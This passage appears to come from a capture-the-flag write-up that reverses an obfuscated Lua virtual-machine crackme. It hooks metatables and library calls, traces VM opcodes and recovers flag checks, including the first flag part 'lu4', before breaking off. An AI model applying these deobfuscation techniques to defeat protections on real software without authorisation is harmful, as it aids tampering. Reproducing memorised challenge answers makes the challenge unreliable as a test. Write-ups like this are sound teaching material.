<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-lua" data-lang="lua"><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> l = <span style="color:#d0bf69">1</span>, c <span style="color:#fc5fa3">do</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">local</span> e = i()
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">local</span> c
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">-- deserialize constants based on types</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> (e == <span style="color:#d0bf69">0</span>) <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>        c = (i() ~= <span style="color:#d0bf69">0</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">elseif</span> (e == <span style="color:#d0bf69">3</span>) <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>        c = r()
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">elseif</span> (e == <span style="color:#d0bf69">2</span>) <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>        c = h()
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">end</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">-- store constants</span>
</span></span><span style="display:flex;"><span>    S[l] = c
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">end</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> c = <span style="color:#d0bf69">1</span>, e() <span style="color:#fc5fa3">do</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">-- recursively deserialize protos inside the current proto</span>
</span></span><span style="display:flex;"><span>    t[c - <span style="color:#d0bf69">1</span>] = Q()
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">end</span>
</span></span><span style="display:flex;"><span>l.d = i()
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> l = <span style="color:#d0bf69">1</span>, e() <span style="color:#fc5fa3">do</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">local</span> S = i()
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">local</span> c = {H = n(), c = n(), <span style="color:#fc5fa3">nil</span>, <span style="color:#fc5fa3">nil</span>}
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">-- deserialize instructions based on instruction type</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">-- like: iABC, iABx, iAsBx, etc</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> (S == <span style="color:#d0bf69">0</span>) <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>        c.S = n()
</span></span><span style="display:flex;"><span>        c.N = n()
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">elseif</span> (S == <span style="color:#d0bf69">1</span>) <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>        c.S = e()
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">elseif</span> (S == <span style="color:#d0bf69">2</span>) <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>        c.S = e() - (<span style="color:#d0bf69">2</span> ^ <span style="color:#d0bf69">16</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">elseif</span> (S == <span style="color:#d0bf69">3</span>) <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>        c.S = e() - (<span style="color:#d0bf69">2</span> ^ <span style="color:#d0bf69">16</span>)
</span></span><span style="display:flex;"><span>        c.N = n()
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">end</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">-- store instruction</span>
</span></span><span style="display:flex;"><span>    o[l] = c
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">end</span>
</span></span></code></pre></div><h2 id="lost-vm-first-check">Lost VM First Check</h2>
<p>Our hook system revealed an interesting log from the <em>VM cycle</em>:</p>
<p><code>__index: table; index: insert from line 459</code></p>
<p>At this point we improve the hook system to also hook library functions
by doing so:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-lua" data-lang="lua"><span style="display:flex;"><span><span style="color:#6c7986">-- ...</span>
</span></span><span style="display:flex;"><span>__index = <span style="color:#fc5fa3">function</span>(self, idx)
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">local</span> mt = getmetatable(self);
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">local</span> index_line = dbg_getinfo(<span style="color:#d0bf69">2</span>).currentline;
</span></span><span style="display:flex;"><span>    print(str_format(<span style="color:#fc6a5d">&#34;__index: %s; index: %s from line %d&#34;</span>, mt.__name, idx, index_line));
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">local</span> value = mt.__old[idx];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">-- target VM Instructions</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> index_line &gt; <span style="color:#d0bf69">277</span> <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> type(value) == <span style="color:#fc6a5d">&#34;function&#34;</span> <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">return</span> <span style="color:#fc5fa3">function</span>(...)
</span></span><span style="display:flex;"><span>                <span style="color:#fc5fa3">local</span> call_line = dbg_getinfo(<span style="color:#d0bf69">2</span>).currentline;
</span></span><span style="display:flex;"><span>                <span style="color:#fc5fa3">local</span> func_name = mt.__name .. <span style="color:#fc6a5d">&#34;.&#34;</span> .. idx;
</span></span><span style="display:flex;"><span>                <span style="color:#6c7986">-- we ignore string.sub and string.char</span>
</span></span><span style="display:flex;"><span>                <span style="color:#fc5fa3">if</span> func_name == <span style="color:#fc6a5d">&#34;string.sub&#34;</span> or func_name == <span style="color:#fc6a5d">&#34;string.char&#34;</span> <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#fc5fa3">return</span> value(...);
</span></span><span style="display:flex;"><span>                <span style="color:#fc5fa3">end</span>
</span></span><span style="display:flex;"><span>                print(<span style="color:#fc6a5d">&#34;-----------VM CALL-----------&#34;</span>)
</span></span><span style="display:flex;"><span>                print(str_format(<span style="color:#fc6a5d">&#34;%s called from %d args: &#34;</span>, func_name, call_line))
</span></span><span style="display:flex;"><span>                print(...)
</span></span><span style="display:flex;"><span>                print(<span style="color:#fc6a5d">&#34;-----------------------------&#34;</span>)
</span></span><span style="display:flex;"><span>                <span style="color:#fc5fa3">return</span> value(...);
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">end</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">end</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">end</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> value;
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">end</span>;
</span></span><span style="display:flex;"><span><span style="color:#6c7986">-- ...</span>
</span></span></code></pre></div><p>By running the beautified script again we get the following logs:</p>
<pre tabindex="0"><code>-----------VM CALL-----------
table.insert called from 3725 args:
table: 0x010e2258       goodluck
-----------------------------
__index: table; index: insert from line 478
-----------VM CALL-----------
table.insert called from 3725 args:
table: 0x010e2258       aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L3BSSEw0V1dF
-----------------------------
</code></pre><p>It seem like the script is inserting flag parts splitted by <code>_</code> inside a table, we will call this table <code>flag_parts</code></p>
<p>Let&rsquo;s hook flag_parts to figure out where it is getting used</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-lua" data-lang="lua"><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> t == <span style="color:#d0bf69">183</span> <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">-- vmpc 183</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">local</span> e = c.c
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">local</span> args = {o(S, e + <span style="color:#d0bf69">1</span>, c.S)}
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">local</span> arg1, arg2 = args[<span style="color:#d0bf69">1</span>], args[<span style="color:#d0bf69">2</span>]
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> type(arg1) == <span style="color:#fc6a5d">&#39;table&#39;</span> and type(arg2) == <span style="color:#fc6a5d">&#34;string&#34;</span> and getmetatable(arg1) == <span style="color:#fc5fa3">nil</span> <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>        setmetatable(arg1, {
</span></span><span style="display:flex;"><span>            __storage = {},
</span></span><span style="display:flex;"><span>            __index = <span style="color:#fc5fa3">function</span> (self, idx)
</span></span><span style="display:flex;"><span>                <span style="color:#fc5fa3">local</span> idx_line = dbg_getinfo(<span style="color:#d0bf69">2</span>).currentline
</span></span><span style="display:flex;"><span>                print(
</span></span><span style="display:flex;"><span>                    str_format(<span style="color:#fc6a5d">&#34;access to flag_parts[%d] from %d&#34;</span>, idx, idx_line)
</span></span><span style="display:flex;"><span>                )
</span></span><span style="display:flex;"><span>                <span style="color:#fc5fa3">local</span> mt = getmetatable(self)
</span></span><span style="display:flex;"><span>                <span style="color:#fc5fa3">local</span> st = mt.__storage;
</span></span><span style="display:flex;"><span>                <span style="color:#fc5fa3">return</span> st[idx];
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">end</span>,
</span></span><span style="display:flex;"><span>            __newindex = <span style="color:#fc5fa3">function</span>(self, idx, value)
</span></span><span style="display:flex;"><span>                <span style="color:#fc5fa3">local</span> mt = getmetatable(self)
</span></span><span style="display:flex;"><span>                <span style="color:#fc5fa3">local</span> st = mt.__storage;
</span></span><span style="display:flex;"><span>                st[idx] = value;
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">end</span>,
</span></span><span style="display:flex;"><span>            __len = <span style="color:#fc5fa3">function</span>(self)
</span></span><span style="display:flex;"><span>                <span style="color:#fc5fa3">local</span> mt = getmetatable(self)
</span></span><span style="display:flex;"><span>                <span style="color:#fc5fa3">local</span> st = mt.__storage;
</span></span><span style="display:flex;"><span>                <span style="color:#fc5fa3">local</span> idx_line = dbg_getinfo(<span style="color:#d0bf69">2</span>).currentline
</span></span><span style="display:flex;"><span>                print(
</span></span><span style="display:flex;"><span>                    str_format(<span style="color:#fc6a5d">&#34;#flag_parts detected from %d&#34;</span>, idx_line)
</span></span><span style="display:flex;"><span>                )
</span></span><span style="display:flex;"><span>                <span style="color:#fc5fa3">return</span> #st;
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">end</span>
</span></span><span style="display:flex;"><span>        })
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">end</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">local</span> mt = getmetatable(arg1)
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> mt <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>        <span style="color:#6c7986">-- aka table.insert on our storage</span>
</span></span><span style="display:flex;"><span>        S[e](mt.__storage, arg2)
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">else</span>
</span></span><span style="display:flex;"><span>        S[e](o(S, e + <span style="color:#d0bf69">1</span>, c.S))
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">end</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">end</span>
</span></span></code></pre></div><p>With this new hook in place we can find where operations on <em>flag_parts</em> are coming:</p>
<p>log: <code>#flag_parts detected from 1214</code></p>
<p>Going to line <code>1214</code> in my beautified script I find the following instruction:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-lua" data-lang="lua"><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> t &lt;= <span style="color:#d0bf69">44</span> <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">-- vmpc 44</span>
</span></span><span style="display:flex;"><span>    S[c.c] = #S[c.S]
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">end</span>
</span></span></code></pre></div><p>We can look for the next instruction <em>vmpc</em> by incrementing the <em>pc</em></p>
<blockquote>
<p>we expect it to be a check on the len(flag_parts)</p></blockquote>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-lua" data-lang="lua"><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> t &lt;= <span style="color:#d0bf69">44</span> <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">-- vmpc 44</span>
</span></span><span style="display:flex;"><span>    S[c.c] = #S[c.S]
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">local</span> next_inst = l[e + <span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">local</span> next_vmpc = next_inst.H
</span></span><span style="display:flex;"><span>    print(<span style="color:#fc6a5d">&#34;#flag_parts next vmpc &#34;</span> .. tostring(next_vmpc))
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">end</span>
</span></span></code></pre></div><p>log: <code>#flag_parts next vmpc 35</code></p>
<p>Now let&rsquo;s look at vmpc 35</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-lua" data-lang="lua"><span style="display:flex;"><span><span style="color:#fc5fa3">else</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">-- vmpc 35</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> (S[c.c] == n[c.N]) <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>        e = e + <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">else</span>
</span></span><span style="display:flex;"><span>        e = c.S
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">end</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">end</span>
</span></span></code></pre></div><p>Wow we discovered an equality check: <code>S[c.c] == n[c.N]</code>. Let&rsquo;s examine the operand values:</p>
<ul>
<li><code>S[c.c] = 2</code>;</li>
<li><code>n[c.N] = 4</code>;`</li>
</ul>
<p>Now to confirm this check we could patch <em>vmpc 35</em> or just add two more parts to our flag..</p>
<h2 id="lost-vm-part-1">Lost VM Part 1</h2>
<p>By changing <code>FLAG</code> to <code>'TRX{good_luck_test_aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L3BSSEw0V1dF}';</code>, We notice a new output from the script, which indicates that we have successfully moved on to another check!</p>
<pre tabindex="0"><code>access to flag_parts[1] from 478
...
3 characters, 3 bytes... easy right?
</code></pre><p>which we can approach as the same way we used:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-lua" data-lang="lua"><span style="display:flex;"><span><span style="color:#fc5fa3">elseif</span> t == <span style="color:#d0bf69">10</span> <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">-- vmpc 10</span>
</span></span><span style="display:flex;"><span>    S[c.c] = S[c.S][n[c.N]]
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">local</span> next_inst = l[e + <span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">local</span> next_vmpc = next_inst.H
</span></span><span style="display:flex;"><span>    print(<span style="color:#fc6a5d">&#34;flag_parts[1] next vmpc &#34;</span> .. next_vmpc) <span style="color:#6c7986">-- vmpc 44</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">else</span>
</span></span></code></pre></div><p>We notice <em>vmpc 10</em> is getting the first flag part and then getting its len from <em>vmpc 44</em> and then move to <em>vmpc 132</em></p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-lua" data-lang="lua"><span style="display:flex;"><span><span style="color:#fc5fa3">else</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">-- vmpc 132</span>
</span></span><span style="display:flex;"><span>    print(<span style="color:#fc6a5d">&#34;vmpc 132&#34;</span>, S[c.c], <span style="color:#fc6a5d">&#34;~=&#34;</span>, n[c.N]) <span style="color:#6c7986">-- vmpc 132        4       ~=      3</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> (S[c.c] ~= n[c.N]) <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>        e = e + <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">else</span>
</span></span><span style="display:flex;"><span>        e = c.S
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">end</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">end</span>
</span></span></code></pre></div><p>Thanks to this check we can confirm the first flag part need to be 3 bytes long</p>
<p>New output:</p>
<pre tabindex="0"><code>...
do you like xor?
</code></pre><p>It seem we are not getting any interesting log and we need a new approach to figure out what is going on with the first flag part</p>
<p>Let&rsquo;s log all unique vmpc that are getting executed when a special flag is toggled on</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-lua" data-lang="lua"><span style="display:flex;"><span><span style="color:#fc5fa3">local</span> log_current_function = <span style="color:#fc5fa3">false</span>;
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">local</span> logged_instructions = {}
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">while</span> <span style="color:#fc5fa3">true</span> <span style="color:#fc5fa3">do</span>
</span></span><span style="display:flex;"><span>    c = l[e]
</span></span><span style="display:flex;"><span>    t = c.H
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> log_current_function and logged_instructions[t] == <span style="color:#fc5fa3">nil</span> <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>        print(str_format(<span style="color:#fc6a5d">&#34;%s: pc %d</span><span style="color:#fc6a5d">\t</span><span style="color:#fc6a5d">vmpc %d&#34;</span>, dbg_getinfo(<span style="color:#d0bf69">1</span>).func, e, t))
</span></span><span style="display:flex;"><span>        logged_instructions[t] = <span style="color:#fc5fa3">true</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">end</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">-- ...</span>
</span></span></code></pre></div><p>Let&rsquo;s toggle <code>log_current_function</code> from vmpc 132</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-lua" data-lang="lua"><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> (S[c.c] ~= n[c.N]) <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>    e = e + <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">else</span>
</span></span><span style="display:flex;"><span>    e = c.S
</span></span><span style="display:flex;"><span>    log_current_function = <span style="color:#fc5fa3">true</span>;
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">end</span>
</span></span></code></pre></div><pre tabindex="0"><code>vmpc 132        3       ~=      3
function: 0x010c61d0: pc 1436   vmpc 99
function: 0x010c61d0: pc 1437   vmpc 73
function: 0x010c61d0: pc 1439   vmpc 152
function: 0x010c61d0: pc 1445   vmpc 32
function: 0x010c61d0: pc 1447   vmpc 1
function: 0x010c61d0: pc 1454   vmpc 2
function: 0x010c61d0: pc 1466   vmpc 54
function: 0x010c61d0: pc 1467   vmpc 0
function: 0x010c61d0: pc 1478   vmpc 56
__index: string; index: sub from line 1369
__index: string; index: char from line 1375
function: 0x010c61d0: pc 1495   vmpc 121
...
function: 0x010c61d0: pc 1574   vmpc 114
do you like xor?
</code></pre><p>From this log output we can notice how <code>string.index</code> and <code>string.sub</code> are used just before the script freezes. For this reason we inspect vmpc 0 and 56, the vmpcs likely causing the VM to jump to the crash function.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-lua" data-lang="lua"><span style="display:flex;"><span><span style="color:#6c7986">-- ...</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> t &lt;= <span style="color:#d0bf69">0</span> <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">-- vmpc 0</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">-- ...</span>
</span></span><span style="display:flex;"><span>    c = l[e]
</span></span><span style="display:flex;"><span>    t = c.c
</span></span><span style="display:flex;"><span>    S[t] = S[t](o(S, t + <span style="color:#d0bf69">1</span>, c.S)) <span style="color:#6c7986">-- xor8(flag_parts[1][1], 42)</span>
</span></span><span style="display:flex;"><span>    e = e + <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>    c = l[e]
</span></span><span style="display:flex;"><span>    S[c.c] = n[c.S]
</span></span><span style="display:flex;"><span>    e = e + <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>    c = l[e]
</span></span><span style="display:flex;"><span>    t = c.c
</span></span><span style="display:flex;"><span>    S[t] = S[t](o(S, t + <span style="color:#d0bf69">1</span>, c.S)) <span style="color:#6c7986">-- bit32_test(flag_parts[1][1] ^ 42, 0x46)</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">-- x ^ 42 = 70 -&gt; x = &#39;l&#39; flag_parts[1][1] == &#39;l&#39;</span>
</span></span><span style="display:flex;"><span>    e = e + <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>    c = l[e]
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">-- we can also change this to check if we bypass the check</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> not S[c.c] <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>        e = e + <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">else</span>
</span></span><span style="display:flex;"><span>        e = c.S
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">end</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">elseif</span> t == <span style="color:#d0bf69">1</span> <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">-- ...</span>
</span></span></code></pre></div><p>We can now change the first part character to <code>l</code> and from the new output we can see we moved to another check:</p>
<pre tabindex="0"><code>function: 0x010c6ea8: pc 1578   vmpc 79
function: 0x010c6ea8: pc 1591   vmpc 56
__index: string; index: sub from line 1370
__index: string; index: char from line 1376
....
bitwise operations are fun!
</code></pre><p>At this point we can go check vmpc 79</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-lua" data-lang="lua"><span style="display:flex;"><span><span style="color:#6c7986">-- vmpc 79</span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">-- ...</span>
</span></span><span style="display:flex;"><span>e = e + <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>c = l[e]
</span></span><span style="display:flex;"><span>t = c.c
</span></span><span style="display:flex;"><span>S[t] = S[t](o(S, t + <span style="color:#d0bf69">1</span>, i)) <span style="color:#6c7986">-- check if flag_parts[1][2] == &#34;a&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">-- print(o(S, t + 1, i)) -- 97 =&gt; &#34;a&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">-- this will make the vm jmp to the next check</span>
</span></span><span style="display:flex;"><span>S[t] = <span style="color:#fc5fa3">true</span>
</span></span></code></pre></div><p>New output after changing first part second character to <code>a</code>:</p>
<pre tabindex="0"><code>...
function: 0x00ec6e68: pc 1692   vmpc 204
function: 0x00ec6e68: pc 1700   vmpc 56
__index: string; index: sub from line 1370
__index: string; index: char from line 1376
...
xor $r1, $r1 for the win!
</code></pre><div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-lua" data-lang="lua"><span style="display:flex;"><span><span style="color:#6c7986">-- vmpc 204</span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">-- ...</span>
</span></span><span style="display:flex;"><span>S[t] = S[t](o(S, t + <span style="color:#d0bf69">1</span>, c.S))
</span></span><span style="display:flex;"><span>e = e + <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>c = l[e]
</span></span><span style="display:flex;"><span>S[c.c] = n[c.S]
</span></span><span style="display:flex;"><span>e = e + <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>c = l[e]
</span></span><span style="display:flex;"><span>t = c.c
</span></span><span style="display:flex;"><span>S[t] = S[t](o(S, t + <span style="color:#d0bf69">1</span>, c.S))
</span></span><span style="display:flex;"><span><span style="color:#6c7986">-- print(o(S, t + 1, c.S)) -- flag_parts[1][3] == &#39;4&#39;</span>
</span></span><span style="display:flex;"><span>e = e + <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>c = l[e]
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> (S[c.c] ~= n[c.N]) <span style="color:#fc5fa3">then</span> <span style="color:#6c7986">-- flag_parts[1][3] check</span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">-- ...</span>
</span></span></code></pre></div><p>The first flag part is <code>lu4</code>!</p>
<h1 id="lost-vm-part-2">Lost VM Part 2</h1>
<p>With the updated flag, the crash message changes to:</p>
<pre tabindex="0"><code>...
#flag_parts next vmpc 116
function: 0x010b6dd8: pc 1815   vmpc 116
function: 0x010b6dd8: pc 1818   vmpc 56
__index: string; index: sub from line 1370
__index: string; index: char from line 1376
...
sorry, you can&#39;t spell magic
</code></pre><p>This corresponds to vmpc 116:</p>
<blockquote>
<p>Remember vmpc 116 ;)</p></blockquote>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-lua" data-lang="lua"><span style="display:flex;"><span><span style="color:#fc5fa3">elseif</span> t &gt; <span style="color:#d0bf69">115</span> <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">-- vmpc 116</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> e == <span style="color:#d0bf69">1815</span> <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>        <span style="color:#6c7986">-- 1815 =&gt; check if #flag_parts[2] == 8</span>
</span></span><span style="display:flex;"><span>        print(<span style="color:#fc6a5d">&#34;vmpc 116&#34;</span>, S[c.c], <span style="color:#fc6a5d">&#34;~=&#34;</span>, S[c.N], e)
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">end</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> (S[c.c] ~= S[c.N]) <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>        e = e + <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">else</span>
</span></span><span style="display:flex;"><span>        e = c.S
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">end</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">else</span>
</span></span></code></pre></div><blockquote>
<p>Since vmpc is frequently used we need to filter its logs based on pc</p></blockquote>
<p>Thanks to <code>#flag_parts</code> log and <code>vmpc 116</code> we know we are checking <code>#flag_parts[2] == 8</code></p>
<p>The new output:</p>
<pre tabindex="0"><code>function: 0x00eb6b28: pc 1923   vmpc 93
function: 0x00eb6b28: pc 1936   vmpc 56
__index: string; index: sub from line 1370
__index: string; index: char from line 1376
...
#flag_parts next vmpc 163
-----------VM CALL-----------
string.format called from -1 args:
0x%04X  1
-----------------------------
you are not a wizard 0x0001
</code></pre><p>Let&rsquo;s look at vmpc 93</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-lua" data-lang="lua"><span style="display:flex;"><span><span style="color:#fc5fa3">elseif</span> t == <span style="color:#d0bf69">93</span> <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">-- vmpc 93</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">local</span> is_1933 = e == <span style="color:#d0bf69">1933</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">local</span> i
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">local</span> t
</span></span><span style="display:flex;"><span>    t = c.c
</span></span><span style="display:flex;"><span>    i = S[c.S]
</span></span><span style="display:flex;"><span>    S[t + <span style="color:#d0bf69">1</span>] = i
</span></span><span style="display:flex;"><span>    S[t] = i[n[c.N]]
</span></span><span style="display:flex;"><span>    e = e + <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>    c = l[e]
</span></span><span style="display:flex;"><span>    S[c.c] = S[c.S]
